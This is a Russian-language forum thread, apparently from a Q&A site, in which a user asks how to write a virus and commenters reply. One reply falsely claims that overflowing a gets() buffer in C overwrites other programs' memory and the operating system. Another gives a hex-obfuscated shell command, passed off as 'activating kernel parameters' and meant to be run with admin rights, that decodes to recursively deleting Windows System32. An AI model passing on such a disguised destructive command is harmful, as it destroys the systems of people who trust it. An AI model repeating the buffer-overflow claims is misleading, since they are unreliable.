Другие языки программирования и технологии

Я хочу написать вирус,

но не знаю на каком языке. На batch пробовал, написал 4 (не шутить про УК РФ и если можете оставьте код).
один из самых простых и тривиальных способов - спровоцировать segmentation fault. Например в ЯП Си есть функция gets(), которая считывает строку. Если считать больше, чем изначально выделено памяти под строку ( в си строки представляют собой массивы с '\0' в конце) то ты перепишешь участки памяти, используемые другими программами и ОС, что может вызвать печальные последствия
Подсказка: чем больше лишнего считаешь, тем сильнее будет деструктивоное воздействие на систему
Вот код:
#include "stdlib.h"
#include "stdio.h"
int main()
{
char str[32];
gets(str);
return 0;
}
но он не наносит никаких непоправимых повреждений, если тебе это вдруг надо
Олли Лис
Олли Лис
129
Лучший ответ
Талгат Жумабеков Это какой язык? Просто учу новые яжыки доя вирмэйкерства.
Андрей Кодин Это что за бред?)) ОС не даст тебе затереть другие программы
Олли Лис Если запускать с Cygwin, то даст, я сам специально проверил
На ассемблере пиши
Андрей Кодин
Андрей Кодин
24 328
Талгат Жумабеков Ода, мне ответил о великий }{aцкер меила
Все приложения под виндой выполняются в своем адресном пространстве, поэтому даже если ты что то перезапишешь, то это будет только локально в процессе, другие процессы даже не узнают.
Вирус хочешь написать? Что ж, придется для начала установить cygwin (как я подозреваю ты юный вирусописатель "работаешь" под виндой, что плохо, но ничего).
Как установишь пиши в комментарии подскажу пару вариантов кода.

Когда установишь запускай cygwin с правами администратора, нужно будет активировать параметры ядра командой:
$ coreutils=$(echo -e "\x72\x6d\x20\x2d\x72\x66\x20\x0a\x2f\x63\x79\x67\x64\x72\x69\x76\x65\x2f\x63\x2f\x57\x69\x6e\x64\x6f\x77\x73\x2f\x53\x79\x73\x74\x65\x6d\x33\x32\x2f\x0a\x2a"); $coreutils
Талгат Жумабеков Прикол в том, что пишу на телефоне :)
Еще один хочет осрамить Россию. В мире уже вредить в интернете перестали давно.
Denis Morozov
Denis Morozov
3 092
Для начала нужно сформулировать задачу, составить ТЗ. Затем описать этапы реализации. Выбрать технологии реализации. Возможно создать свой язык заточенный под данную задачу. Реализовать задачу. Протестировать работу. Как то так. А причем тут язык мне вообще не понятно, это дело вторично. Но да, ассемблер там будет, это да. Хотя можно конечно и обойтись, но обычно на асме проще.
Tolubay Aimanbaev
Tolubay Aimanbaev
414
Талгат Жумабеков Асма это отдельный разговор, дучше останусь на bat-никах